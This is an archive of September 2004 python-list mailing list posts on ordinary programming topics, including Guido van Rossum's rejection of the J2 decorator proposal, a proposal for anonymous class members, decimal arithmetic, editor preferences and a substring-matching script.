From skip at pobox.com  Wed Sep 29 17:46:10 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Sep 2004 16:46:10 -0500
Subject: multiple instance on Unix
In-Reply-To: <D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
	<415AF802.1080909@bellsouth.net>
	<D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>
Message-ID: <16731.11554.753938.358095@montanaro.dyndns.org>


    Nigel> I had a program that was called randomly by specific emails
    Nigel> arriving which asked for certain information. If two or more
    Nigel> emails arrived simultaneously then procmail asked two or more
    Nigel> instances of my program to run. These instances interfered with
    Nigel> one another, so I needed a process to stop that from
    Nigel> happening.

That process is procmail. <wink> Use procmail's lock mechanism and only one
instance of your program will run at a time.

Skip


From carribeiro at gmail.com  Mon Sep 27 10:01:52 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 27 Sep 2004 11:01:52 -0300
Subject: Anonymous class members
Message-ID: <864d370904092707013e2254a6@mail.gmail.com>

I thought about this problem over the weekend, after long hours of
hacking some metaclasses to allow me to express some real case data
structures as Python classes. I think that this is something with
potential to be useful, but I would like to hear more opinions first.
If this is deemed to be useful, I *may* try to write a PEP for it.
This is not a promise or even a proposal, at this point.

Broadly generalizing, classes in Python have named members stored in
their pravate __dict__. For normal Python code, this is not an issue.
However, some types of data structures do not need named members. For
example, this is a declaration of a simple web page template that
(ab)uses a Python class declaration:

class WebPage:
    __metaclass__ = WebPageTemplate

class MyPage(WebPage):
    class header(HtmlHeader):
        title = 'My WebPage'
    class body(HtmlBody)
        H1('Anonymous class members' )
        P('This is an example of anonymous class members')

In the example above, MyPage.body contains two anonymous class
members. There are good reasons not to name them. In the case of long
templates, names are arbitrary, and most of the time are not ever
used.

I'm definining anonymous members as anything that is not a def, a
nested class, or a value that wasn't assigned or bound to name.
Everytime an expression is evaluated in the body of a class, and it's
result is *not* bound to a name, then it's value is stored the magic
_anon__ tuple. Methods or functions that return no value store None as
their return value. Named attributes don't store anything.

As a matter of fact, Python already has a related concept in the
implicit naming of the __doc__ docstring. It may or not pose a problem
for this generalization. That's my basic proposal:

class MyClass:
   """the first anonymous member is the doc string"""
   """the second anonymous member is __anon__[0]"""
   1.5 # __anon__[1] = 1.5

The docstring would be a special case -- if the first anonymous value
is a string, and iif it's the first statement, then it's stored as the
__doc__ docstring. It could (or not) be copied also at __anon__[0].
I'm not sure about it.

Some ideas and alternatives still unexplored are:

1) store the __anon__ members in the reverse order (the last value is
always at __anon__0;

2) in the case of loops, then anon members would just be stored as generated.

3) instead of the anonymous members, provide the class with an
augmented dict that can store everything that is declared inside the
class: multiple definitions of the same name, anonymous members, etc.
The mapping interface would retrieve only the named values, but an
iterator would be provided to retrieve all members, named and
anonymous, in the order they were declared. (** this is a general
solution for a wider class of applications **)

4) provide the __anon__ feature only if the metaclass creates it with
a __anon__(cls) factory method. By default, *no anonymous members
would be stored*, but if the metaclass provides a __anon__ structure,
then it's used, and passed to new as an extra keyword argument
(metaclass.__new__(cls, name, bases, dct, anon=None)).


Another alternative: augmenting the metaclass interface
------------------------------------------------------------------------

Beware: if up to this point I was in true brainstorm mode, now I'm in
a brain-hurricane-season-in-Florida mode. Be warned :-)

One alternative is to change the metaclass interface, in such a way
that it has an opportunity to catch all statements executed in the
class declaration *before* __new__ is called. A new metaclass method
(lets us call it __store__) and a generator interface to the class
definition could be provided. It would work like this:

1) Immediately upon the class declaration, Python knows what metaclass
it has to call. Either the class inherited a metaclass from an
ancestor, or __metaclass__ member is defined in the first line of the
class.

2) Python's internals check the metaclass for the __store__ function.
If it exists, it's called with the following parameters:

__metaclass__.__store__(cls, name, bases, class_generator)

3) __store__ retrieves definitions from the class_generator as tuples
of the form:

(name, value)

...where name is None for anonymous class members. At this point, the
metaclass can do whatever it pleases. It can change names, discard
values, or insert calculated values of its own.

4) __store__ returns the dict that will be passed to __new__. This
dict can be an augmented version that stores multiple definitions for
the same name, or anonymous values, or whatever is needed for the
particular class..



-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From aaron.smgoh at gmail.com  Sun Sep 19 07:58:45 2004
From: aaron.smgoh at gmail.com (Aaron)
Date: 19 Sep 2004 04:58:45 -0700
Subject: How to run Excel Solver function from Python
References: <9878481a.0409180417.366c3754@posting.google.com>
Message-ID: <9878481a.0409190358.2201bea3@posting.google.com>

Having widened my search, I found that this problem seems to be
related to Excel itself and not many have found a solution.  But I
found this and it works a treat!!

http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=1591401c446ea%248bc56e80%24a401280a%40phx.gbl&rnum=19&prev=/groups%3Fq%3DSolver%2B:%2BAn%2Bunexpected%2Binternal%2Berror%2Bhas%2Boccurred,%2Bor%2Bavailable%26start%3D10%26hl%3Den%26lr%3D%26ie%3DUTF-8%26selm%3D1591401c446ea%25248bc56e80%2524a401280a%2540phx.gbl%26rnum%3D19

Sorry for posting this problem at the wrong place.


From __peter__ at web.de  Sun Sep 19 08:41:53 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 19 Sep 2004 14:41:53 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
	<7xwtyqsmvu.fsf@ruckus.brouhaha.com>
Message-ID: <cijurc$4gd$02$1@news.t-online.com>

Paul Rubin wrote:

> Peter Otten <__peter__ at web.de> writes:
>> Starting with Python 2.4 there will be the 'decimal' module supporting
>> "arithmetic the way you know it":
>> 
>> >>> from decimal import *
>> >>> Decimal("12.10") + Decimal("8.30")
> 
> I haven't tried 2.4 yet.  After

The auther is currently working on an installer, but just dropping it into
2.3's site-packages should work, too.

>     a = Decimal("1") / Decimal("3")
>     b = a * Decimal("3")
>     print b
> 
> What happens?  Is that arithmetic as the way I know it?

Decimal as opposed to rational:

>>> from decimal import *
>>> Decimal(1)/Decimal(3)
Decimal("0.3333333333333333333333333333")
>>> 3*_
Decimal("0.9999999999999999999999999999")

Many people can cope with the inaccuracy induced by base 10 representations
and are taken by surprise by base 2 errors.
But you are right I left too much room for interpretation.

Peter



From ksenia at ksenia.nl  Thu Sep 23 17:56:07 2004
From: ksenia at ksenia.nl (Ksenia Marasanova)
Date: Thu, 23 Sep 2004 23:56:07 +0200
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
 project.
In-Reply-To: <864d370904092305026f41795@mail.gmail.com>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
Message-ID: <5F3C3182-0DAB-11D9-9C9F-000A957911BC@ksenia.nl>

> I heed you to check Microsoft's documents on "how Longhorn will be
> great" :-) Seriously, they're working hard to create a new paradigm
> for the Windows desktop, and some of the things that you talk about
> are discussed there too -- namely, they're hiding folders, drive
> names, etc, from the user view, and creating a new and much simplified
> user interface.
Fortunately, Apple has been working even harder and is already there 
with Tiger:
http://www.apple.com/macosx/tiger/spotlight.html
http://www.apple.com/macosx/tiger/search_finder.html


> My project, "code-named" Pathfinder
Just be aware, there is also a Mac program called Pathfinder, in case 
you wanted to keep the name...


Ksenia.



From vincent at visualtrans.de  Fri Sep 17 00:23:13 2004
From: vincent at visualtrans.de (vincent wehren)
Date: Fri, 17 Sep 2004 06:23:13 +0200
Subject: Running scripts without installing Python?
In-Reply-To: <cf221c81.0409161114.3a441e@posting.google.com>
References: <cf221c81.0409161114.3a441e@posting.google.com>
Message-ID: <cidorf$a8o$1@news3.tilbu1.nb.home.nl>

hepp wrote:
...>
> Is it possible to put a global installation on a network drive in
> Windows as well? 
Sure.
I tried, but then it complained that it couldn't find
> some dll files when I ran the application from another computer.
What dll's did give you trouble?

--
Vincent Wehren
> 
> I have also tried to compile the application to an executable binary
> with py2exe, but it didn't work properly.


From amk at amk.ca  Mon Sep 13 13:46:58 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Mon, 13 Sep 2004 12:46:58 -0500
Subject: Annotatable Python docs -- now a reality !!!
References: <b16e4ef7.0409130445.294ced1f@posting.google.com>
	<4145b657$0$284$4d4ebb8e@news.nl.uu.net>
Message-ID: <eZOdnUp7eO2PQNjcRVn-qQ@speakeasy.net>

On Mon, 13 Sep 2004 16:30:15 +0200, 
	Guyon Mor?e <gumuz at NO_looze_SPAM.net> wrote:
> oooow man, i was working on this same thing since I was told: "do it
> yourself then!".
> but anyway, i had kinda the same idea using javascript to update a frame,
> but not in a wiki form...

You can still help by offering patches to fix bugs in the JavaScript;
various people have pointed out problems in the comments at 
http://www.airynothing.com/cgi-bin/mt-comments.cgi?entry_id=3336 .

--amk


From daniel at syrinx.net  Thu Sep 16 07:46:29 2004
From: daniel at syrinx.net (Daniel Ellison)
Date: Thu, 16 Sep 2004 07:46:29 -0400
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<xv6dnbAB2MabvtvcRVn-sA@adelphia.com>
	<2qo1v3F11r4inU1@uni-berlin.de>
	<1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com>
Message-ID: <2qtcjpF120qvbU1@uni-berlin.de>

Alex Martelli wrote:
> Daniel Ellison <daniel at syrinx.net> wrote:
> 
> 
>>It *has* to be mentioned, of course, that Vim (http://www.vim.org) has
>>nearly every feature mentioned about EditPlus and all the other IDEs,
> 
> 
> Except, no tabbed interface when editing multiple files (not even with
> GVIM: just ONE window, as seen from the OS/GUI level, even though vim
> can partition it).  Vim is my favourite editor, but the lack of tabbed
> interface _is_ a pity.
> 
> 
> Alex

Ah, but that partitioning, or splitting windows, is a viable alternative 
to tabs. Once one gets used to it, splitting and moving from window to 
window is done without thought. No, it's not convenient to have a dozen 
files visible at the same time (I rarely have five visible 
concurrently), but every file you've opened and closed in a session is 
still available without having to retrieve it from the file system again.

The only thing Vim doesn't have is project management. But I do believe 
there are Vim scripts that can handle this function to a certain extent.

Anyway, I'm not here to convert anyone. I just know that every time I've 
tried to move to another editor I always end up back at Vim.

Dan


From narshe at gmail.com  Thu Sep 23 16:46:58 2004
From: narshe at gmail.com (Josh Close)
Date: Thu, 23 Sep 2004 15:46:58 -0500
Subject: Python and Sybase
In-Reply-To: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
Message-ID: <4a0cafe2040923134662c0dd79@mail.gmail.com>

On Thu, 23 Sep 2004 14:50:04 -0400, David Rysdam <drysdam at ll.mit.edu> wrote:
> What module is most recommended for accessing Sybase from Python?  This
> one: http://www.object-craft.com.au/projects/sybase/sybase/  ?

Object-Craft's is the best one I've found so far.

> 
> Also, is there any module that provides a generic DB API and can be
> hooked to both Sybase and postgresql?  This
> (http://www.python.org/peps/pep-0249.html) looks pretty old.

Why would you need that? Python has a DB API, so all you have to do to
change from db to db is the connection string.

conn = Sybase.connection(.....)
conn = otherModules.connection(....)

Everthing else should work the same way.

-Josh


From gerrit.muller at embeddedsystems.nl  Wed Sep 22 02:01:00 2004
From: gerrit.muller at embeddedsystems.nl (Gerrit Muller)
Date: Wed, 22 Sep 2004 08:01:00 +0200
Subject: Add other class attributes to HTMLgen tags?
In-Reply-To: <b8001e9f.0409211250.4017f0d5@posting.google.com>
References: <b8001e9f.0409211250.4017f0d5@posting.google.com>
Message-ID: <cir4es$4eo$1@news.tue.nl>

adeger wrote:

> For use of CSS how do I do something 
> like insert a 'class' attribute into an 
> HTML tag like:
> 
> <TABLE class='standard'></TABLE>
> 
> I've really made a good faith effort to find this
> in the documentation and elsewhere on the web with
> no luck.
> 
> Thanks in advance,
> ard

I use the following work-around:

     icons = TD(**{"class":"icons"})

kind regards, Gerrit
-- 
Gaudi systems architecting:
<http://www.extra.research.philips.com/natlab/sysarch/>



From firstname at lastname.pr1v.n0  Thu Sep  9 06:22:15 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Thu, 9 Sep 2004 12:22:15 +0200
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<opsdxecgt8pqzri1@mjolner.upc.no> <un000uufg.fsf@mail.comcast.net>
	<2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com>
Message-ID: <nsaphc.beh1.ln@via.reistad.priv.no>

In article <2tjvj0ttc99io295ecg2l86lc2h4tug1jc at 4ax.com>,
Reynir Stef?nsson  <reynirhs at mi.is> wrote:
>So spake Anne & Lynn Wheeler:
>
>>OSI can support x.25 packet switching and/or even the arpanet packet
>>switching from the 60s & 70s .... but it precludes internetworking
>>protocol. internetworking protocol (aka internet for short) is a
>>(non-existant) layer in an OSI protocol stack between
>>layer3/networking and layer4/transport. misc. osi (& other) comments
>>http://www.garlic.com/~lynn/subnetwork.html#xtphsp
>
>Wasn't the idea behind ISO/OSI that there should be One Network for
>everybody, instead of today's lot of interconnected nets?

There were provisions for many networks; but it was a design that
requires (large) service providers; aka Phone Companies to provide
service. 

Self-provisioning like we do all the time on the Internet was difficult.

-- mrr


From gvanrossum at gmail.com  Wed Sep  1 00:59:25 2004
From: gvanrossum at gmail.com (Guido van Rossum)
Date: Tue, 31 Aug 2004 21:59:25 -0700
Subject: Rejecting the J2 decorators proposal
Message-ID: <ca471dc20408312159440c689b@mail.gmail.com>

Robert and Python-dev,

I've read the J2 proposal up and down several times, pondered all the
issues, and slept on it for a night, and I still don't like it enough
to accept it. The only reason to accept it would be to pacify the
supporters of the proposal, and that just isn't a good enough reason
in language design.

However, it got pretty darn close! I'm impressed with how the
community managed to pull together and face the enormous challenge of
picking a single alternative (from more than two dozen on the Wiki!)
and arguing consistently. I expect to see more proposals like this in
the future, and I'm sure that some of them will be good enough to make
it into the language.

I've also (again) learned a lesson: dramatic changes must be discussed
with the community at large. In a large enough group there are no
uncontroversial proposals, so this will take time, but it's worth it
-- one of the main issues with the @decorator syntax was not technical
but socio-political, in the sense that it hadn't been properly
discussed outside a *very* small circle. I take the full blame for
that, and I don't want to hide behind my current lack of time which,
realistically, won't change until either my ESI stock options earn me
an early retirement, or the PSF strikes it rich and can pay me full
time :-).

So let me explain why I'm not choosing J2, and what's next.

There are two major issues and one minor that made me decide against J2.

Major issue one: the syntactic form of an indented block strongly
suggests that its contents should be a sequence of statements, but in
fact it is not -- only expressions are allowed, and there is an
implicit "collecting" of these expressions going on until they can be
applied to the subsequent function definition. To me, this is a more
serious problem than the namespace questions brought up in the
proposal (unfortunately that particular section of the proposal is its
most confused part; but even if the text had been crystal clear, the
problem remains). The best counter-argument to this I've heard is
"you'll get used to it", which is also what I'm saying of @decorators;
and many people have already testified that they indeed got used to it
and even liked it.

Major issue two: the keyword starting the line that heads a block
draws a lot of attention to it. This is true for "if", "while", "for",
"try", "def" and "class". But the "using" keyword (or any other
keyword in its place) doesn't deserve that attention; the emphasis
should be on the decorator or decorators inside the suite, since those
are the important modifiers to the function definition that follows.
When a function definition carries one or more decorators, the most
important information is not the fact that it has decorators, but the
specific decorators used. A classmethod or staticmethod decorator adds
a completely different flavor than a decorator that provides an
external linkage hint for ObjC, or one that adds synchronization, or
one that declares deprecation. I expect that at least 80% of the use
of decorators will have a single decorator per function, and it's a
pain for that decorator to be hiding behind a content-free keyword.
(This is *not* a number-of-keystrokes argument. You know I don't care
much about that.)

Minor issue: "using" is a poor choice of keyword. It resembles C#'s
"using" and perhaps Perl's "use", both of which have completely
different meanings. But there don't seem to be any better alternatives
(the best I could come up with was "transmogrify" :-).

So, what's next? In Python 2.4a3 (to be released this Thursday),
everything remains as currently in CVS. For 2.4b1, I will consider a
change of @ to some other single character, even though I think that @
has the advantage of being the same character used by a similar
feature in Java. It's been argued that it's not quite the same, since
@ in Java is used for attributes that don't change semantics. But
Python's dynamic nature makes that its syntactic elements never mean
quite the same thing as similar constructs in other languages, and
there is definitely significant overlap. Regarding the impact on 3rd
party tools: IPython's author doesn't think there's going to be much
impact; Leo's author has said that Leo will survive (although it will
cause him and his users some transitional pain). I actually expect
that picking a character that's already used elsewhere in Python's
syntax might be harder for external tools to adapt to, since parsing
will have to be more subtle in that case. But I'm frankly undecided,
so there's some wiggle room here. I don't want to consider further
syntactic alternatives at this point: the buck has to stop at some
point, everyone has had their say, and the show must go on.

In the coming years I hope that as a community we'll gain enough
experience with decorators to decide whether we need to adopt a
different syntax for Python 3000 or not. One of the difficulties with
choosing a decorator syntax has definitely been that nobody can
predict how they are going to be used predominantly. Different
alternatives look better depending on whether there are many or few
decorators per function, whether they have long argument lists or not,
and perhaps also whether their use is for transformation or for
annotation. Despite the novelty of using the @ character, I personally
feel that prefix decorators are a huge improvement over the "f =
staticmethod(f)" style of decorating.

A warning: some people have shown examples of extreme uses of
decorators. I've seen decorators proposed for argument and return type
annotations, and even one that used a decorator to create an object
that did a regular expression substitution. Those uses are cute, but I
recommend being conservative when deciding between using a decorator
or some other approach, especially in code that will see a large
audience (like 3rd party library packages). Using decorators for type
annotations in particular looks tedious, and this particular
application is so important that I expect Python 3000 will have
optional type declarations integrated into the argument list.

Thanks to everyone who read until the end of this message!

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)


From grante at visi.com  Mon Sep 20 12:00:12 2004
From: grante at visi.com (Grant Edwards)
Date: 20 Sep 2004 16:00:12 GMT
Subject: MAC address
References: <mailman.3540.1095663134.5135.python-list@python.org>
Message-ID: <414efe8c$0$60631$a1866201@newsreader.visi.com>

On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote:

> is it possible to change your MAC address from a program?

Yes -- on some boards and some OSes.

> Can i do that using Python?

Yes -- on some boards and some OSes.


-- 
Grant Edwards                   grante             Yow!  .. or were you
                                  at               driving the PONTIAC that
                               visi.com            HONKED at me in MIAMI last
                                                   Tuesday?


From tim.peters at gmail.com  Tue Sep 21 09:20:08 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 21 Sep 2004 09:20:08 -0400
Subject: need help defining Constant memory requirement
In-Reply-To: <200409211307.03721.heikowu@ceosg.de>
References: <d3be1825.0409182100.612a5dcb@posting.google.com>
	<200409201020.33427.heikowu@ceosg.de>
	<1f7befae040920131118bf3a75@mail.gmail.com>
	<200409211307.03721.heikowu@ceosg.de>
Message-ID: <1f7befae040921062012d6d4b4@mail.gmail.com>

[Tim Peters]
>> def finddup(iterable):
>>     result = 0
>>     for i, x in enumerate(iterable):
>>         result ^= i ^ x
>>     return result

[Heiko Wundram]
> Erm... Shouldn't this function be:

No.  Try it!

> def finddup(it):
>     result = 0
>     for i, x in enumerate(it):
>         result ^= i ^ x
>     return result ^ i
>
> Because in ( 1 ^ 1 ) ^ ( 2 ^ 2 ) ... ^ ( (n-1) ^ (n-1) ) ^ ( x ^ n ) all terms
> zero out except the last one. So, basically what you get is x ^ n, and x ^
> ( n ^ n ) = x...
> 
> Guess that was just a typo... ;)

I think you misunderstand what enumerate does.  enumerate() starts at
0, not at 1.  So enumerate generates 0, 1, .., n-1 here, where n ==
len(it).  The 0 has no effect, and the rest cancel out 1 thru n-1 from
the sequence.  All that remains then is the duplicate.in the sequence.


From luismg at gmx.net  Fri Sep 24 19:01:30 2004
From: luismg at gmx.net (Neuruss)
Date: 24 Sep 2004 16:01:30 -0700
Subject: Don't let your babies grow up to be programmers (was: up with
	PyGUI!)
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<1095378815.31957.166.camel@devilbox.devilnet.internal>
	<cio5gu$2nk$1@sea.gmane.org>
	<mailman.3701.1095836355.5135.python-list@python.org>
	<rp0b22-l8g.ln1@lairds.us>
	<278de0e.0409231337.1a032135@posting.google.com>
	<du7vfe37ovm.fsf@lehtori.cc.tut.fi>
Message-ID: <278de0e.0409241501.3bbfabd4@posting.google.com>

> What are these American products they are buying? Coca Cola and Big
> Macs (which are probably locally produced)? MSFT Windows?
> 
> I don't really see a need for any American products when much cheaper
> alternatives are available, from Asia and elsewhere.

Of course you are right, and I didn't say that as an absolute
statement, I just
wanted to pinpoint a trend that you can see as positive, from another
point of view.
For example, you can buy american (or european, or japanese) products
that are locally produced, but the profit goes for the corporations
(as usual).
The good news here is that at least a little part of this value goes
for the workers who made them.
When I buy a pair of Nike snickers made in Vietnam, I'm buying
american products. I'm improving the chances that those who work in
marketing, design, accountancy, or whatever sector of the company keep
on living well, and at the same time I'm sure that a few vietnamese
who work producing them will at least feed their family, which is much
better than starving.


> Personally, I don't care much either way because Finland is one of
> those countries with low salaries for engineers, with the unfortunate
> twist of the cost of living being high as well.

You don't have to be affraid because Finland has everything to be rich
and prosperous: a transparent political system, highly educated
people, respect for law and a honest society.


From goodger at python.org  Wed Sep 29 09:05:32 2004
From: goodger at python.org (David Goodger)
Date: Wed, 29 Sep 2004 09:05:32 -0400
Subject: [OT] wxpython dmg
In-Reply-To: <C35A1B37-11E9-11D9-876C-0003939C968C@unito.it>
References: <C35A1B37-11E9-11D9-876C-0003939C968C@unito.it>
Message-ID: <415AB31C.5050201@python.org>

[andrea valle]
> Ehm...This is a bit silly...
> I downloaded wxPython on macosx 10.3.5 but I do not see it as a disk 
> dmg. It's associated to Mickey Excel. What the heck have I to do to open 
> it and install it? I am a bit new to Mac and no so expert on OS.

Please provide more details:

* the exact name of the file you downloaded
* the URL where you downloaded it from

-- 
David Goodger <http://python.net/~goodger>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 261 bytes
Desc: OpenPGP digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040929/9d85175e/attachment.sig>

From SBrunning at trisystems.co.uk  Thu Sep 23 05:57:22 2004
From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk)
Date: Thu, 23 Sep 2004 10:57:22 +0100
Subject: detecting variable types
Message-ID: <9EED4A0E5EFBD811901100600846864D061163@intrepid>

> From: Jay [mailto:wjjeonk at hotmail.com]
> 
> I'm sure this is a really dumb question, but how do you 
> detect a variable
> type in Python?
> 
> For example, I want to know if the variable "a" is a list of 
> strings or a
> single string. How do I do this?

Plenty of discussion here:
<http://www.brunningonline.net/simon/blog/archives/001349.html>.

Cheers,
Simon B.
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/ 




-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.


From PeterAbel at gmx.net  Wed Sep  1 07:05:08 2004
From: PeterAbel at gmx.net (Peter Abel)
Date: 1 Sep 2004 04:05:08 -0700
Subject: string.maketrans().lower()
References: <HBF.20040901ee1r@bombur.uio.no>
Message-ID: <21064255.0409010305.61a9fa14@posting.google.com>

Hallvard B Furuseth <h.b.furuseth at usit.uio.no> wrote in message news:<HBF.20040901ee1r at bombur.uio.no>...
> I have a translation table from
>   tr = string.maketrans(...)
> and want a table which produces the same characters lowercased.
> 
> `tr.lower()' works - at least with Python 2.3 - but is that will
> that remain reliable?  Or should I use something like this?
> 
>  string.maketrans("".join(map(chr, xrange(256))),
>                   "".join(map(chr, xrange(256))).translate(tr).lower())
> 
> BTW, is there a simpler way to write "".join(map(chr, xrange(256)))?

Not 256 chars, but some of them where lower and upper really makes sense.

>>> import string
>>> string.ascii_lowercase
'abcdefghijklmnopqrstuvwxyz'
>>> string.ascii_uppercase
'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
>>> 

Regards
Peter


From bokr at oz.net  Tue Sep 14 22:20:38 2004
From: bokr at oz.net (Bengt Richter)
Date: 15 Sep 2004 02:20:38 GMT
Subject: optimizing memory utilization
References: <pan.2004.09.14.04.38.02.647096@ymous.com>
	<ci6f73$921$1@newstree.wise.edt.ericsson.se>
	<1db49385.0409141355.5d204a03@posting.google.com>
Message-ID: <ci88tm$v5c$0$216.39.172.122@theriver.com>

On 14 Sep 2004 14:55:56 -0700, wcrucius at sandc.com (Wes Crucius) wrote:

>"Frithiof Andreas Jensen" <frithiof.jensen at die_spammer_die.ericsson.com> wrote in message news:<ci6f73$921$1 at newstree.wise.edt.ericsson.se>...
>> "Anon" <anon at ymous.com> wrote in message
>> news:pan.2004.09.14.04.38.02.647096 at ymous.com...
>> 
>> > Any data structures suggestions for this application?  BTW, the later
>> > accesses to this database would not benefit in any way from being
>> > presorted,
>> 
>> You keep saying it yourself: Use a Database ;-).
>> 
>> Databases "knows" about stuff in memory, as well as any searching and
>> sorting you might dream up later.
>> 
>> Python supports several, the simplest is probably PySQLite:
>> http://sourceforge.net/projects/pysqlite/
>
>Thanks for the specific suggestion, but it's an approach I'd hoped to
>avoid.  I'd rather get 2Gig of RAM if I was confident I could make it
>work that way...  The problem with a file-based database (versus an
>in-memory data-structure-based database as I was meaning) is
>performance.
>
>Maybe someone has a better suggestion if I give little more info:  I
>want to iterate through about 10,000 strings (each ~256 characters or
>less) looking for occurances (within those 10,000 strings) of any one
>of about 500,000 smaller (~30-50 characters average) strings.  Then I
>generate an XML doc that records which of the 500,000 strings were
>found within each of the 10,000 strings.

Need example of raw input and desired output ;-)

Patterns starting at any character? What if you have overlapping matches? I.e.,
if you had a string 'abbcde123', and were looking for 'bb' and 'bc'
would it count as two matches? Would longer matches have priority?
E.g., matching 'bbcd' overrides 'bb and 'cd' as separate matches?

Anyway, let's see what a brute force simple approach does. E.g, just put the
500,000 small strings in a small tree of dictionaries based on say string length, then
the string (you could tier it again with some leading characters and the rest, but I'd
try the easy thing first. But anyway, the idea (practically untested) is something like:

This finds repeating and overlapping patterns, since it was easy. That may not be what
you want, but you didn't say ;-)

----< s500kin10k.py >---------------------------------------
def main(path500k, path10k):
    root = {}
    for line in file(path500k):
        line = line.rstrip()
        if not line: continue
        root.setdefault(len(line),{})[line] = None
    lengths = root.keys()
    lengths.sort()
    print lengths
    print root
    # and then walk through your 10k strings of ~256 characters

    for nl, line in enumerate(file(path10k)):
        line = line.rstrip()
        hdr = 'Line %s: %r\n' % (nl, line)
        nc = len(line)
        for length in lengths:
            if length > nc: break
            tier1 = root[length]
            for nstep in xrange(nc+1-length):  # walk a window of length chars
                if line[nstep:nstep+length] in tier1:
                    print '%s    %r' % (hdr, line[nstep:nstep+length])
                    hdr = ''

if __name__ == '__main__':
    import sys
    if len(sys.argv)!=3: raise SystemExit, """
    Usage: s500kin10k.py path500k path10k
        where path500k has 500k lines of one string each, and
        path10k has 10k lines to search for the 500k in any position.
"""
    main(*sys.argv[1:])
------------------------------------------------------------

>
>I guess I am hoping to optimize memory usage in order to avoid
>thrashing my drives to death (due to using a file based database).  I
>can't believe that python requires memory 200% "overhead" to store my
>data as lists of lists.  I gotta believe I've chosen the wrong
>data-type or have mis-applied it somehow??
>
>BTW, my illustration wasn't my input data, it was literally the output
>of "print Albums" (with only a couple albums worth of dummy data
>loaded).  Albums is a list containing a list for each album, which in
>turn contains another list for each track on the album, which in-turn
>contains a couple of items of data about the given track.
>
>Bottom line question here:  Is a 'list' the most efficient data type
>to use for storing "arrays" of "arrays" of "arrays" and strings",
>given that I'm happy to iterate and don't need any sort of lookup or
>search functionality??
>
>
I suspect that you won't be that happy iterating through just arrays,
unless they are arrays of patternmatching tables like IIRC flex generates
to do parsing. Basically doing tricky parallel pattern matching by keeping
track of which patterns are alive as you go from character to character.
But 500k patterns are a lot of patterns....
>Thanks again,

See if the above runs you out of memory. Or time ;-)
I'd try it on shorter files first. You didn't say what you wanted
your final output to look like. Small examples of input => output communicate well ;-)

Regards,
Bengt Richter


From graham.fawcett at gmail.com  Wed Sep  8 01:35:28 2004
From: graham.fawcett at gmail.com (Graham  Fawcett)
Date: 7 Sep 2004 22:35:28 -0700
Subject: Simple Web Templating system with execution in templates
Message-ID: <chm5n0$cc1@odak26.prod.google.com>

You might consider using Quixote: it's quite minimal as frameworks go,
and it's been used with templating libraries in the "sandbox" manner
that you've mentioned.

Take a look at

http://quixote.ca/qx/TemplatingWithCheetah
for an example.

-- Graham



From heikowu at ceosg.de  Mon Sep 20 05:07:39 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Mon, 20 Sep 2004 11:07:39 +0200
Subject: Math errors in python
In-Reply-To: <1gkdkgj.12f5pjs6acjl1N%aleaxit@yahoo.com>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3504.1095595671.5135.python-list@python.org>
	<1gkdkgj.12f5pjs6acjl1N%aleaxit@yahoo.com>
Message-ID: <200409201107.40789.heikowu@ceosg.de>

Am Sonntag, 19. September 2004 19:41 schrieb Alex Martelli:
> gmpy (or to be more precise the underlying GMP library) runs optimally
> on AMD Athlon 32-bit processors, which happen to be dirt cheap these
> days, so a cleverly-purchased 300-dollars desktop Linux PC using such an
> Athlon chip would no doubt let you use way more than these humble couple
> thousand bits for such interactive computations while maintaining a
> perfectly acceptable interactive response time.

But still, no algorithm implemented in software will ever beat the 
FADD/FMUL/FDIV/FPOW/FSIN/FCOS etc. instructions in runtime, that was my 
point... And error calculation is always possible, so that you can give 
bounds to your result, even when using normal floating point arithmetic. And, 
even when using GMPy, you have to know about the underlying limitations of 
binary floating point so that you can reorganize your code if need be to add 
precision (because one calculation might be much less precise if done in some 
way than in another).

Heiko.


From john at grulic.org.ar  Tue Sep 14 14:18:58 2004
From: john at grulic.org.ar (John Lenton)
Date: Tue, 14 Sep 2004 15:18:58 -0300
Subject: My first attempt at subclassing....Gahh!
In-Reply-To: <1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com>
